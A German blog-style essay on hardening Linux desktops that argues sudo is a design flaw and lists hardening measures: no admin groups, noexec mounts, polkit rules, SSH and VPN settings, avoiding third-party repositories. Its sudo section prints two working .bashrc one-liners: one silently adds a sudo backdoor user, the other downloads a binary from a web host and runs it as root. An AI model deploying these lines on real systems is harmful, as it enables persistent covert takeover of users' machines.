Das passiert vorwiegend dadurch, wenn er leichtsinnig (aber durchaus auch vorsätzlich) Programme aus dubiosen Quellen installiert – weil ihm die Zweifelhaftigkeit dieser Quelle überhaupt nicht bewusst ist. Zum Beispiel ist meiner Meinung nach jede anonyme Software-Quelle als prinzipiell dubios einzuschätzen. Eine Quelle, die keinen ‚Firmensitz‘ o.ä. angibt, vielleicht nur irgendwelche Nicknames für verantwortliche Personen aufführt und für diese Personen unpersonifizierte Fantasie-Mail-Adress-Bezeichnungen verwendet, im Endeffekt also faktisch völlig anonym ist, bewerte ich zweifelsfrei als dubios. Wirklich niemand sollte sich wundern, wenn nach einer solchen Software-Installation der PC kompromittiert ist – in welcher Art und Weise auch immer. Die Kompromittierung eines PCs passiert zudem, wenn sich ausführbare Teile von Programmen oder Interpreter-Sprachen-Scripte oder ausführbare Makros heimlich und unbemerkt in der aktiv angemeldeten Session des Anwenders installieren, ausführen und dann schlimmstenfalls irgendwas mit den eigenen Daten anstellen oder unbemerkt auch noch Schadsoftware aus dem Internet nachladen. Es passiert zum Beispiel dann, nachdem ausführbare Email-Attachments geöffnet wurden und dadurch die Schadsoftware im Userspace gestartet wird.

All das passiert gar nicht mal so selten, manchmal vielleicht sogar völlig unbemerkt, oft aber erst dann bemerkt, wenn es schon zu spät ist, aber fast immer mit üblen Auswirkungen. Einen Krypto-/Erpressungs-Trojaner (Ransomware), der all unsere Daten verschlüsselt und nur gegen Lösegeld wieder freigibt, bemerken wir sofort. Ebenso einen Virus, der einfach nur zerstören will. Aber ein durch einen Cyber-Angriff verursachter Schaden muss absolut nicht sofort offenkundig sein, weil vielleicht wirklich gerade eben unsere Daten zerstört oder unbrauchbar gemacht wurden. Wenn unser Server vielleicht Opfer eines Cryptojackings wurde, merken wir das unter Umständen erst mit der Stromabrechnung am Jahresende, für deren unerwartete Höhe möglicherweise unser Server verantwortlich ist, weil er ewig und 3 Tage unter Volldampf und mit hohem Stromverbrauch Berechnungen angestellt hat und die Ergebnisse an die Hijacker über das Internet übertragen hat. Das kostet dann ganz konkret unser eigenes Geld. Und auch dadurch, wenn sich jemand nur Zugang zu unseren Daten verschafft, um damit unsere digitale Privatsphäre zu unterwandern, wird kein offensichtlicher Schaden angerichtet. Dann ist es nur so, dass fremde Menschen oder eine fremde Maschine unser digitales Familien-Leben komplett überwachen… nach dem Motto „Daten sind der Rohstoff dieses Jahrhunderts, Daten sind Geld“ - Datenschutz und die eigene Privatspähre sind damit vollständig abgeschafft. Aber all diesen Schadensfällen ist eines gemeinsam, der Schaden wird fast nie durch aktive oder interaktive Maßnahmen von außen durch das Internet verursacht, sondern überwiegend von innerhalb des eigenen PCs vorbereitet und schließlich ermöglicht. Der Anwender an der Tastatur öffnet die Türen, derer sich dann die ungebetenen Gäste bedienen. Dabei ließe sich diese Gefahr vollständig eliminieren, wenn der Anwender gar nicht erst das Recht hätte, als as-himself neue Programme zu installieren oder Programme zu starten, die nicht regulär von einem Administrator installiert wurden. Und nein, eine solche Beschränkung ist keine wirklich unangenehme Bevormundung… mit ein wenig Disziplin und passender Herangehensweise nimmt man diese Beschränkung überhaupt nicht mehr wahr.

sudo

An meine frühere Windowszeit erinnere ich mich, dass viele Windowsprogramme für den fehlerfreien Programmlauf verlangt haben, mit Admin-Rechten gestartet zu werden. Und das bedeutet, das aufgerufene Programm verfügt damit ebenfalls über eine Admin-Berechtigung, mit der es selber zur eigenen Verwendung und nach Belieben Veränderungen am Betriebssystem als solches vornehmen kann, Ausnahmegenehmigungen in die Firewall einzutragen ist damit natürlich auch ganz einfach möglich. Solche Umstände demontieren radikal jeglichen installierten Schutz bis auf die Grundmauern und führen jede andere durchgeführte Maßnahme zum Schutz der digitalen Privatsphäre ad absurdum. Ganz ähnlich ist es bei Linux-Betriebssystemen, wenn ein Linux-Benutzer sich selber mit dem "sudo"-Statement temporär Administrator-Rechte aneignen kann, die dann durch den obligatorischen Default-Timeout von 15 Minuten ebenfalls jederzeit von allen Programmen mit zweifelhaften Absichten verwendet werden könnten, um damit ebenfalls unbemerkt Veränderungen am System oder auch der Firewall durchzuführen.

Um es auf den Punkt zu bringen, wenn Du der Hauptbenutzer Deines PCs bist und Du deswegen selber und mit Deinem eigenen Password autorisiert jederzeit über Adminrechte verfügst oder gar in gewohnter Manier irgendwelche Anwendungs-Programme mit Adminrechten versehen ausführst, dann brauchst Du Dir eigentlich jetzt keine weiteren Gedanken mehr über eine Firewall oder die generelle Sicherheit Deines PCs oder den Schutz Deiner digitalen Privatsphäre zu machen. Ganz besonders dann nicht mehr, wenn Du auch noch Anwendungen aus anonymen Dritt-Quellen oder allgemein proprietäre Software mit dubiosen Nutzungsbedingungen (denen Du ungelesen zugestimmt hast) installiert hast. Unter solchen Voraussetzungen betrachte ich Deinen PC als jetzt schon kompromittiert. Das bringt dann alles eh nix und es täuscht Dir nur eine Sicherheit vor, die Du definitiv nicht hast... der Schutz Deiner Firewall ist damit reines Wunschdenken, weitab von jeder Wirksamkeit.... vergiss es am besten einfach.

Wenn Du bei solchen Rahmenbedingungen bisher mit Deiner Linux-Installation Glück hattest und bis Heute vor Schaden durch virtuelle Angriffe verschont geblieben bist, so solltest Du wissen, dass das ziemlich sicher nicht auf Deine Aktionen zur Herstellung von Sicherheit zurückzuführen ist, sondern das das wirklich nur Glück und ein zufälliges Ergebnis ist. Das liegt mit hoher Wahrscheinlichkeit allein an den Umständen, dass Du vermutlich nicht wichtig genug bist um das Interesse anderer zu wecken, oder das zufällig noch keiner über die Security-Lücken in Deinem System gestolpert ist, oder das Linux-Homeuser-Desktop-Systeme wegen ihrer derzeit weltweit eher geringen Installationsanzahl für die WWW-Crime-Scene aus wirtschaftlicher Sicht schlichtweg zu uninteressant sind, um Energie, Kosten und Entwicklungsaufwand für spezielle Linux-Malware mit ungewissen Erfolgsaussichten zu investieren. Tja, das kann sich aber jederzeit ändern, mit jedem neuen Linux-Enduser-System steigt die Attraktivität, sich auch da Opfer zu suchen. Und mal ganz am Rande bemerkt, unter solchen Umständen gäbe es jetzt sowieso keine Garantien dafür, dass Dein Rechner wirklich nur auf Dich hört… da kann jetzt schon alles mögliche unerwünschte drauf laufen und nach eigenem Ermessen irgendwelche Befehle erteilen, die gehorsamst erledigt werden. Ob jetzt schon jemand fremdes Deine Web-Cam am Laptop bedienen kann und Dein Wohnzimmer beobachtet, oder das Mikrofon und Deine Gespräche mithört, oder einfach nur Deine Daten mitliest… bei solchen Voraussetzungen kann das wirklich niemand ausschließen.

Die erste Prämisse eines Sicherheitskonzeptes, welches ganz am Ende eine auch wirklich wirksame Firewall beinhaltet, ist also die, die festlegt, dass sich kein normaler Benutzer Admin-Rechte aneignen kann, mit denen quasi unter seiner User-ID initiiert und mit seinem eigenen Password autorisiert Veränderungen am System durchgeführt werden können. Kannst Du solche Aufgaben selber und mit Deinen eigenen Berechtigungen leisten, können trickreiche Anwendungen das gleiche nach kurzer Zeit auch. Das bedeutet, um diese Gefahr erfolgreich auszuschließen muss für solche Arbeiten am System stattdessen immer ein spezieller User mit Admin-Account verfügbar sein, der kein normaler PC-Anwender ist und der ausschließlich zur temporären Anmeldung für durchzuführende administrative Arbeiten verwendet wird. Und gleichzeitig ist keinem der normalen Anwender die Möglichkeit gegeben, selber das System zu verändern oder sich weitergehende Rechte anzueignen. Allein damit ist eine hohe Hürde gebaut, die ziemlich effektiv verhindert, dass sich Angreifer einfach unerlaubt der Berechtigungen des normalen Benutzers bedienen.

Genau das ist beispielsweise auch der Default-Zustand einer Debian-Installation, nachdem man mit dem Installer ein Debian-Setup durchgeführt hat. Debian trennt von vornherein die Verantwortungsbereiche zwischen Admin und normale User bereits während der Installation mit dem Hinweis:

"Sie müssen ein Passwort für "root", das Systemadministrator-Konto, angeben. Ein bösartiger Benutzer oder jemand, der sich nicht auskennt und root-Rechte besetzt, kann verheerende Schäden anrichten."

Erst wenn man den darauf folgenden Text des Installers vollständig bis zum Ende durchliest erfährt man, dass man das auch leer lassen kann und das dann "sudo" eingerichtet und der erste Benutzer-Account (UID 1000) der Gruppe sudo hinzugefügt wird. Letztendlich hat man also die Wahl, aber nicht direkt durch gleichrangig auswählbare Optionen, sondern meiner Meinung eher indirekt, weil der Installer selber den Anwender tatsächlich sehr suggestiv in die Richtung konsequenter Trennung von Verantwortlichkeiten mit dem root-Password führt. Am Ende der Installation sieht es im Normalfall dann so aus, dass der Hauptbenutzer nicht selber (also unter seiner UID initiiert und mit seinem Passwort autorisiert) Veränderungen am System durchführen kann, er muss sich dazu vorher ausdrücklich mit dem root-Account anmelden, womit eine explizite Trennung von Anwender und Administrator vollzogen ist.

Den meisten sudo-Usern ist der tatsächlich vorhandene gravierende Unterschied zwischen "sudo" und dem root-Account gar nicht bewusst. Die meisten fühlen sich sogar beruhigt, wenn sie als Mitglied der Linux-Gruppe "sudo" für Änderungen am System vorher einmal ihr eigenes Password eingeben müssen und erkennen dabei nicht die großen Risiken, die genau das mit sich bringt, oder die fade Scheinsicherheit, die das beinhaltet. Um das etwas besser zu verstehen, hilft ein Blick in die Vergangenheit.

https://de.wikipedia.org/wiki/Sudo

"Die erste Version entstand um 1980 an der State University of New York at Buffalo, weil man erkannte, dass viele Studenten Befehle brauchten, die eigentlich nur von Administratoren benutzt werden dürfen, die jedoch keine Gefahr für das existierende System darstellten."

https://wiki.debian.org/sudo

"Sudo (sometimes considered as short for Super-user do) is a program designed to let system administrators allow some users to execute some commands as root (or another user). The basic philosophy is to give as few privileges as possible but still allow people to get their work done. Sudo is also an effective way to log who ran which command and when."

https://searchsecurity.techtar…inition/sudo-superuser-do

"Sudo (superuser do) is a utility for UNIX- and Linux-based systems that provides an efficient way to give specific users permission to use specific system commands at the root (most powerful) level of the system."

Zusammengefasst sind das die für uns relevanten Aussagen:

...die jedoch keine Gefahr für das existierende System darstellten.

...allow some users to execute some commands as root...

...to give specific users permission to use specific system commands at the root...

 
 

Der historisch belegte Unterschied zwischen einem Linux-Administrator (root) und einem sudo-berechtigen User ist also ganz einfach:

der Administrator kann Berechtigungen vergeben, der sudo-User kann das nicht.

der Admin kann eine System-Konfiguration verändern, der sudo-User kann das nicht.

Zusammenfassend kann man für den tatsächlichen Verwendungszweck "sudo" folgendermaßen feststellen, dass der "Administrator" einem ansonsten unberechtigten User das Recht gibt, einzelne Programme mit root-Rechten auszuführen. Punkt. Das ein normaler User mit der Verwendung von "sudo" selber Berechtigungen vergeben kann und auch noch selber die System-Konfiguriation verändern darf, ist für mich aus Sicht der PC-Sicherheit schlichtweg der größte konzeptionelle Fehlgriff aller Zeiten... ein echter Design-Fehler in einer Linux-Distribution mit der Zielgruppe Desktop-Endbenutzer... womit in dieser Linux-Distribution ein schlimmer und seit langem offen bekannter Fehler von Windows wiederholt wird, der schließlich in einer Linux-Distribution i.ü.S. ein offenes Einfallstor für die Kompromittierung des PCs darstellt.

"echt jetzt ....? .... offenes Einfallstor ....? ....ist das nicht ein wenig übertrieben?"

Tja, die traurige Wahrheit ist, es ist nicht übertrieben. Für diese Behauptung gibt es einige ziemlich schwer widerlegbare Erklärungen … dabei ist auch eine, die mir wegen ihrer Brisanz sogar durchaus ein paar Bauchschmerzen bereitet.

Durch die Verwendung von sudo für grafische Anwendung wird der X-Server hochgradig angreifbar!  Alle X-Anwendungen

- haben Zugriff auf alles auf Ihrem Bildschirm

- können sich registrieren, um jeden Tastenanschlag zu empfangen, unabhängig davon, in welchem Fenster die besagten Tastenanschläge eingegeben werden

- können ferngesteuert werden, indem Tastenanschläge gefälscht werden, so als ob der Benutzer sie eingeben würde

Darüber hinaus können folgende unerwünschte Situationen entstehen:

- bei der Beibehaltung des user-eigenen Shell-Environments kann es passieren, dass durch mit sudo gestartete Programme die Rechte für betroffene Konfigurationsdateien im eigenen User-Homedir geändert werden, was ggf. zur Folge hat, dass dem User die Rechte auf eigene Dateien entzogen werden. Das kann durchaus auch zu Datenverlust als unangenehme Konsequenz führen.

- Die X-Server-Option xhost + (um root hinzufügen) kann jede Sicherheit auf dem Bildschirm vollständig deaktivieren

- Mit X.org könnte der Bildschirm effektiv in einen Keylogger verwandelt werden.

Im Homedir eines Linux-Users befindet sich neben anderen immer auch eine Datei namens .bashrc, die jedes Mal automatisch ausgeführt wird, wenn der User ein Terminal ausführt. Die .bashrc enthält anwender-individuelle Anweisungen (bzw. kann enthalten), mit der der User sein Terminal resp. seine Shell individuell konfigurieren kann. Und weil diese .bashrc in seinem Homedir liegt, hat er natürlich auch alle Rechte, diese Datei nach Belieben und eigenem Ermessen mit einem Editor (z.B. nano oder vim) zu verändern. Aber Änderungen in dieser Datei sind natürlich nicht nur mit den Texteditoren nano und vim möglich, man kann auch mit einem einfachen "echo" beliebigen Text oder Statements anfügen. Programme oder beliebige Plugins/Addons irgendwelcher Programme verwenden Open-Write-Close-Funktionen und ändern damit diese .bashrc mit systemnahen Funktionen. Am Ende bedeutet das, wenn der User angemeldet ist, kann also jeder unter der UID des Users laufender Prozess diese .bashrc völlig ungehindert verändern.

Die beiden folgenden Code-Zeilen habe ich zur Bestätigung dieser wirklich großen Sicherheitslücke schon vor längerer Zeit geschrieben und bisher nur hinter vorgehaltener Hand und flüsternd darüber gesprochen. Würde nun ein beliebiges auf Deinem PC installiertes Programm (oder Script, AddOn, PlugIn, Makro) die folgende einzelne wirklich nicht sehr anspruchsvolle Zeile (ohne Zeilenumbruch) einfach an die .bashrc Deines Homedirs anfügen, so hätte das zur Folge, dass automatisch und von Dir völlig unbemerkt beim nächsten Öffnen eines Terminal und der Eingabe eines sudo-Kommandos der User "hook" mit dem Password "cpt" und zugehörig der Gruppe "sudo" angelegt wird. Das bedeutet, diejenige Anwendung, die heimlich diese Änderung in der .bashrc durchgeführt hat, verfügt nun über einen Account und ein Password, mit dem jederzeit Administrator-Rechte erlangt werden können.

[ -z "$(cat /etc/passwd | grep hook)" ] && ( while true;do sleep 60; /usr/bin/sudo -n /bin/true 2>/dev/null;[ $? == 0 ] && sudo useradd -u 888 -M -N -p $(openssl passwd -1 cpt) -G sudo hook;exit;done ) &

Diese zweite gleichermaßen simple und ebenso böse einzeilige Variante, die ganz nebenbei einfach per echo-Befehl an die .bashrc angefügt wird, wartet ebenfalls geduldig darauf, dass Du ein sudo-Kommando eingibst und lädt dann das von mir für diesen Test erstellte Programm malware.bin aus dem Internet herunter, speichert es unter dem harmlosen Namen /usr/local/bin/saveprivacy auf der lokalen Festplatte und führt das Programm sofort mit root-Rechten aus:

echo 'xfile="/usr/local/bin/saveprivacy";[ -f "$xfile" ] || ( while true;do sleep 60; /usr/bin/sudo -n /bin/true 2>/dev/null;[ $? == 0 ] && sudo /usr/bin/wget -q www.thlu.de/Public/malware.bin -O $xfile;sudo /bin/chmod +x $xfile;sudo $xfile;exit;done ) &' >>.bashrc

Das von meinem eigenen Web-Space heruntergeladene Programm hatte für diesen Test natürlich nur einen völlig harmlosen Inhalt, aber es zeigt eindeutig, wohin die Reise gehen kann:

#!/bin/bash

echo "peng - ich habe root-rechte und damit die volle kontrolle, dein rechner gehört mir...."

ps -aux | grep saveprivacy | grep -v grep

exit 0

Ich habe tatsächlich tagelang überlegt, ob man solche Code-Zeilen überhaupt veröffentlichen kann oder sollte, aber diese Sicherheitslücke ist so gravierend und so offensichtlich, dass ich am Ende einfach davon überzeugt war, auf solche Lösungen kommt sowieso jeder, der entsprechende Absichten hat… ‚sudo‘ ist einfach eine pauschale Einladung an jeden digitalen Einbrecher. Und jetzt mal ehrlich, wie oft überprüfst Du Deine .bashrc darauf, ob sie verändert wurde? Faktisch beinhaltet diese Änderung als Konsequenz, dass mein Rechner nun von mir völlig unbemerkt von fremden Interessen übernommen wurde und dass diese Fremden damit Zugriff auf alles haben, was ich am Rechner tue... meine Daten, meine Mails, mein Surfverhalten... es gibt keine Geheimnisse mehr. Soll ich mir an diesem Punkt wirklich noch Gedanken über eine Firewall machen...?... ich denke, eher nicht.

Was ich hier skizziert habe, sind nur zwei böse Möglichkeiten von sehr vielen weiteren. Das entsprechend der sudo-Default-Konfiguration Vorhandensein von temporären Admin-Rechten über eine ganze Viertelstunde lang nach der Verwendung eines sudo-Statements kann für alles mögliche missbraucht werden, um z.B. subversive Programme aus dem Internet nachzuladen und zu installieren, oder Zugriffe auf Hardware wie Web-Cams, Mikrofone oder Datenressourcen auf Netzwerkfestplatten einzurichten... der bösen Fantasie sind hier wirklich keine Grenzen gesetzt. Und all das passiert in absoluter Heimlichkeit und mit großer Wahrscheinlichkeit dauerhaft von mir unbemerkt. Wenn man nicht auf das sudo-Kommando verzichten will und trotzdem die Sicherheit nicht untergraben will, gibt es nur die eine Möglichkeit, den Passwort-Timeout auf 0 zu setzen. Allerdings hat das zur Konsequenz, dass man dann bei jedem sudo-Kommando erneut sein Passwort eingeben muss…. womit sudo natürlich einen Großteil seines Komforts verliert. Aber das sollte jedem klar sein, all das, was den Komfort auf der einen Seite erhöht, senkt mit großer Wahrscheinlichkeit auf der anderen Seite den Security-Level ... und in diesem besonderen Fall meiner Meinung nach katastrophal. Eine zweite und meiner Einschätzung bessere Alternative, wäre das Paket „sudo“ einfach zu deinstallieren und in die .bashrc einen Alias einzutragen

alias sudo="pkexec $@"

Mit diesem Alias wird nicht „sudo“ verwendet, sondern aus dem Policykit der Befehl pkexec, der bei jedem Befehl das Root-Password abfragt und keinen Default-Timeout von 15 Minuten aktiviert hat, wodurch die Sicherheit natürlich schon deutlich verbessert wird. Aber anstatt mehrere Kommandos jeweils mit sudo einzuleiten, was ich sowieso für sehr umständlich halte, schließe ich diese große Sicherheitslücke besser ganz, verzichte auf diesen sudo-Unsinn und wechsel stattdessen mit dem einmaligen Befehl „su“ und nach Eingabe des root-Passwords einfach direkt in den root-Account, um dort mit entsprechender Berechtigung alles notwendige zu tun, um am Ende diese Session mit „exit“ wieder zu verlassen. Und während der Anmeldung als root gilt kompromisslos die Prämisse Ich starte keine GUI-Anwendungen, ich starte keine fremden Scripte und Programme. Dabei gibt es für mich wirklich nur 2 Ausnahmen, und zwar die aus dem Distributionsrepository installierten Programme gparted und synaptic. Und soweit es synaptic angeht, ich persönlich halte das sowieso für verzichtbar und für die deutliche schlechtere Alternative im Vergleich zu apt - aber das muss ein jeder für sich selber entscheiden. Zumindest ist mit dieser Vorgehensweise sicher gewährleistet, dass ich nicht selber irgendeine Schadsoftware ausführe, die anschließend über root-Rechte verfügt oder sich diese aneignen kann. Und die alternative direkte Verwendung des root-Accounts hat hier hingegen immer nur das Ziel und die Ausschließlichkeit, wirklich nur Customizing-Dinge zu tun, die genau diese Berechtigung erfordern. Strikte Trennung ist die Devise, kein Mischmasch mit Berechtigungen zwischen Usern und root, die wirklich nur für unübersichtlichen Mischmasch sorgen. Deswegen enthält die Bash-History der User nur deren banalen Kram, die root-History enthält überhaupt keinen banalen Kram, sondern nur echte Wartungs-Statements.

Was ist notwendig, damit eine Firewall nicht nur so heisst, sondern auch wirklich eine ist?

Kommen wir nun zu einigen markanten und relevanten Punkten von dem, was ich als einfaches Firewall-Konzept betrachte und womit wir die Sicherheit unserer privaten IT oder auch nur unseres persönlichen Rechners signifikant verbessern können. Viele der hier getroffenen Maßnahmen verfolgen im Kern als eigentliche Intention, die IT-Infrastruktur vor der Leichtsinnigkeit, Fahrlässigkeit und auch vor fehlendem Fachwissen der normalen Anwender zu schützen. Die Notwendigkeit zu genau solchen Maßnahmen sollten sich auch die privaten System-Admins bei der immensen Vielfalt an digitalen Gefahren durchaus bewusst machen. Dabei sind sämtliche dieser Punkte relativ einfach umzusetzen, sie erfordern wenig Aufwand, wenig Kenntnisse. Im Grunde genommen erfordern sie nur Vorsatz, Disziplin, Sorgfalt und Kontinuität im eigenen Tun.

 

Kein Anwender (alle folgenden Regeln gelten natürlich auch für mich selber) hat das Recht, unter seiner UID gestartet und mit seinem PWD autorisiert Änderungen an der Konfiguration des Betriebssystems seines PCs vorzunehmen

Lösung: Keine Mitgliedschaft in Admin-Groups

 

Kein Anwender kann neue Software installieren und starten, nicht mal in seinem Homedir

Lösung: remount von /home, /dev/shm und /tmp mit noexec,nosuid,nodev

 

Kein Anwender hat Ändern-Rechte, die über sein Homedir hinausgehen

Lösung: das ist bereits der Default-Zustand bei Debian, also darauf verzichten, keine weiteren Rechte manuell zu setzen

 

Kein Anwender kann die Homedir-Verzeichnisse anderer User öffnen, deren Inhalte lesen oder dort Dateien erstellen oder verändern

Lösung: chmod 700 /home/*

 

Kein Anwender kann sich unter seiner UID oder unter Verwendung seines PWD weitergehende Rechte aneignen

Lösung: Keine Mitgliedschaft in Admin-Groups

 

Kein Anwender (hier bin ich für alle User/PCs der einzige) kennt das root-Password unserer Client-PCs

Lösung: Abweichendes und anspruchsvolles root-Password (in Bezug auf die User-Passwords)

 

Alle explizit notwendigen Ausnahme- bzw. Zusatzrechte für Anwender sind rigoros über Policykit-Rules geregelt

Lösung: Explizite Polkit-Rules für einzelne Befehle und bei Bedarf ergänzende individuelle PKLA-Berechtigungen

 

Es werden keine grafischen Anwenderprogramme mit root-Rechten gestartet, insbesondere nicht *Office, Browser, Mal-, Zeichen- und Foto-Editier-Programme, Multimedia-Programme, etc.

Lösung: Sofern root-Rechte notwendig sind, auf Text-Apps im root-Terminal beschränken, wie nano, vim, midnight-commander

 

Maschinell angelegte User im System mit einem Default-PWD sind entfernt (z.B. der User pi mit dem PWD raspberry auf einem Raspberry Pi)

Lösung: login user pi, set root-Password, adduser NeuerUser, logout user pi, login NeuerUser, switch to root, deluser pi

 

Die unbekannte Wechselwirkung zwischen sudo und Policykit wurde damit beseitigt, indem das Paket sudo auf keinem PC installiert ist bzw. -wenn vorhanden- deinstalliert wurde

Lösung: apt purge sudo oder alternativ eine sichere Distribution verwenden, in der sudo kein Default-Feature ist

 

Es ist auf keinem der normalen Client-PCs eine Anmeldung direkt als root per SSH erlaubt. Die Verbindung wird immer zuerst als User etabliert und ist damit zunächst mal „rechtelos“. Der Wechsel zum root-Account erfolgt über das root-Passwort des SSH-Server-Hosts

Lösung: /etc/ssh/sshd_config = PermitRootLogin no

 

Notwendige SSH-Anmeldungen ist auf allen Systemen nur mit Password-geschützten Keyfiles möglich.

Lösung: /etc/ssh/sshd_config = PubkeyAuthentication yes, PasswordAuthentication no

 

Sofern aus dem Internet unbedingt auch ein SSH-Zugriff erwünscht ist, empfehle ich einen im Router freigegebenen Port >50000, der dann auf Port 22 des SSH-Servers weitergeleitet wird, was hier zur Folge hatte, das Grundrauschen des Internets auf Port 22 deutlich zu reduzieren.

Lösung: Explizite Freigabe/Filtereinstellung im Router

 

Ein Zugang von außen aus dem Internet auf das Heimnetz ist hier derzeit nur über OpenVPN möglich. Das bedeutet, es sind auf dem Router neben den 2 VPN-Ports für TCP und UDP keine weiteren Ports geöffnet. Ich verwende auf dem Router für die Freigabe und Weiterleitung Port 443 für TCP und einen unprivilegierten Ports >50000 für UDP, womit auch hier das Rauschen auf dem bekannten Port 1194 deutlich reduziert wird. Die Verwendung von HTTPS/443 ist ein Trick, um eine mögliche Firewall-Sperre von UDP-Ports an öffentlichen Accesspoints zu umgehen. Damit wird verschlüsselter VPN-Traffic auf ein sowieso verschlüsseltes HTTPS-Protokoll aufgelegt und bleibt somit eigentlich unsichtbar. Das beeinträchtigt zwar die Performance, aber ich kann trotzdem mein Netzwerk zuhause erreichen und ggf. meinen Router, um sicher zu surfen. Port 443 betrachte ich als Fallback-Lösung, wenn das primär genutzte UDP gesperrt ist. DPI-Firewalls werden solchen Traffic vermutlich dennoch entdecken können, aber ich denke, die für uns relevanten offenen WLAN-Accesspoints in Restaurants, Hotels, Campingplätzen, City, usw. werden mehrheitlich wohl keine DPI-FWs einsetzen,

Lösung: Explizite Freigabe/Filtereinstellung im Router

 

Der Zugang nach draußen ins Internet ist auf einigen besonderen Geräten via Paketfilter reguliert. Meinem Server ist der offene Zugriff aufs Internet verboten, es bestehen lediglich explizite Ausnahmeregeln für Mail (Getmail + Postfix) und VPN.

Lösung: Paketfilter mit nftables installieren

 

Keine unnötigen Dienste laufen lassen, bzw. laufende notwendige Dienste auf "localhost" begrenzen

 

Der Browser auf den Client-PCs wird mit einem Script-Blocker scharf reguliert.

Lösung: Ublock Origin

 

Allen Non-User-End-Geräten im ganzen LAN ist der Zugriff aufs Internet verboten (IP-Cams, Smart-TVs, Drucker, etc.).

Lösung: Einstellung im Router = Zugang zum Internet ist für diese LAN-Clients gesperrt, zugriff auf alle Clients von 'außen' nur via OpenVPN

 

Neue Software, die testweise oder aus Neugier bezüglich der Möglichkeiten und des Nutzens geprüft werden soll, wird zuerst nur in einer VM installiert – gemäß der Prämisse „Never touch a running system“. Auf den produktiven Systemen ist nur tatsächlich benötigte/verwendete Software installiert.

Lösung: Libvirt/KVM oder Oracle VirtualBox und dort eine eher anspruchslose Distribution (LXDE) installieren

 

Wenn ich in Ausnahmefällen besondere Software benötige, die entweder im Distributions-Repo gar nicht enthalten ist oder die dort schlichtweg zu alt ist, so verwende ich ausnahmsweise Setup-Pakete direkt von der bekannten und etablierten Projekt-Seite.... und zwar nur von dort, oder eben gar nicht. Ist die Repo-Version nur zu alt, überlege ich jedoch zuerst, ob die aktuelle Version neue Funktionen enthält, die ich wirklich unbedingt benötigte... wenn nicht, reicht mir auch die ältere Version.

 

Es sind kompromisslos alle Erlaubnisse ausgeschlossen, die es fremden und unbekannten Repositories ermöglichen, im Rahmen der regulär durchgeführten Updates/Upgrades Veränderungen an unseren Systemen vorzunehmen, und das schlimmstenfalls auch noch  innerhalb eines regelmäßigen Automatismus.

Gerade die zwei letzten Punkte in der Liste oberhalb sind es aufgrund ihres hohen Gefährdungspotentials wert, durchaus genauer erläutert und beachtet zu werden. Ich selber verzichte konsequent darauf, Dritt-Repos einzurichten und Software von dort zu installieren. Gerade diese Dritt-Repos könnten (was von mir gar nicht nachgeprüft werden kann) durchaus auch dubiose Quellen mit vielleicht subversiven Absichten sein. Welche Auswirkungen die Verwendung von Software aus unbekannten und nicht offiziellen Quellen hat, ist ja durch das Redmonder Betriebssystem und mit Rückblick auf das letzte Jahrzehnt wahrlich hinreichend bekannt. Wenn für ein Fremd-Repository weder bekannt ist, welche Geschäftsziele verfolgt werden, noch wo der Sitz dieses "Unternehmens" ist, wer namentlich die verantwortlichen Personen sind und nach welchen Regeln "Software-Pakete" erstellt werden, ob das öffentlich ist, ob ein Audit die Übereinstimmung mit der Original-Software bestätigt, wer wie kontrolliert Zugang zu deren Systemen hat, dann würde ich von solchen Paketen tunlichst die Finger lassen.

"Was sind Dritt-Repos?" Ganz einfach, das sind all jene Paketquellen, die nicht die Originalquellen der Distribution sind, die faktisch echte Fremdquellen darstellen, welche in ihrer Funktionalität aber dennoch ganz ähnlich den originären Distributions-Repositories zu bedienen sind. In beiden Paketquellen werden im technischen Ablauf einer Programm-Installation durchaus vergleichbar Installationspakete für Programme zur Verfügung gestellt und später die automatischen Updates durchgeführt. Dritt-Quellen bieten meist Installations-Pakete für Software an, die oft noch nicht über das reguläre Distributions-Repository verfügbar sind. Aber manchmal werden auch schon bereits offiziell verfügbare Pakete einfach noch einmal neu gepackt und angeboten. Es wird dabei aus der Original-Software jeweils ein eigenes neues Installationspaket gepackt. Paketquellen werden z.B. bei Debian in der /etc/apt/sources.list angefügt. Andere Distributionen nutzen die ganz ähnlichen ‚Personal Package Archives‘ und fügen mit add-apt-repository ppa:fremdquelle solche Dritt-Quellen hinzu. Die Installation des neuen Programms findet zuerst ganz einfach über apt install {paketname} statt, die spätere Aktualisierung dann ganz automatisch bei einem apt full-upgrade. Da sollte man sich besser mal fragen, ob man das wirklich genau so will.

Der Ablauf zur Software-Installation aus eingetragenen Paketquellen ist also ein deutlich anderer, als der einzelne Download eines Deb-Packages oder eines Tar-Archivs, welches einfach mit dem Browser auf einer Web-Site durchgeführt wird. Ein Deb-Package wird anschließend via dpkg -i {paketname.deb} meist in das Verzeichnis /opt installiert. Bei manchen heruntergeladenen Tar-Archiven ist es nicht mal erforderlich, das Programm mit Hilfe von dpkg über das Paketmanagement zu installieren, es reicht aus, sie einfach an irgendeine Stelle zu entpacken, auf die man Schreib- und Ausführenrechte hat …. ich verwende dafür niemals das User-Homedir, sondern auch /opt, weil User dort keine Schreibrechte haben. Und von dort können sie dann einfach gestartet werden.

Das Dilemma ist, man weiß bei eingetragenen Fremdquellen erstens nie, wie original das ursprüngliche Programm überhaupt noch ist. Zweitens, ob der hoffentlich unbedenkliche Anfangs-Zustand bei späteren Upgrades dann immer noch unbedenklich ist. Und drittens, ob nicht von Anfang an vielleicht doch zusätzliches (unerwünschtes) Material enthalten ist und auf meinem PC installiert wird. Und je besser eine fremde Paketquelle in der Szene oder in der Distributions-Community der Endanwender etabliert ist, je bekannter sie ist, je breiter das Angebot dieser Paketquelle ist, umso größer ist die Plattform, auf der zweifelhafte Erweiterungen an die Masse verteilt werden könnten. Nach meiner Meinung wäre es tatsächlich der einfachste Weg zur Kompromittierung sehr vieler PC-Systeme, bekannte, attraktive und oft gewünschte Software-Pakete den Anwendern zuhause hübsch garniert mundgerecht zu servieren.... quasi als schmackhafter Honeypot, unwiderstehlich und vielleicht von vielen anderen ebenso leichtsinnigen Anwendern auch noch empfohlen…. was quasi den Idealzustand zur Verfolgung „meiner subversiven“ Interessen darstellt. Bedauerlicherweise kann von uns Endanwendern wirklich niemand ausschließen, dass zur Wahrheit eines solchen Paketes vielleicht auch der verschwiegene Transport von potentieller Schadsoftware gehören könnte. Solche Pakete aus faktisch anonymer Quelle können jederzeit auch so etwas wie den Bundestrojaner beinhalten, oder ein Remote-Tool der NSA, oder Spyware der Chinesen, oder der Russen, oder einfach nur eine ordinäre Schadsoftware, oder einen Cryptohijacker…. wirklich alles ist dabei möglich.

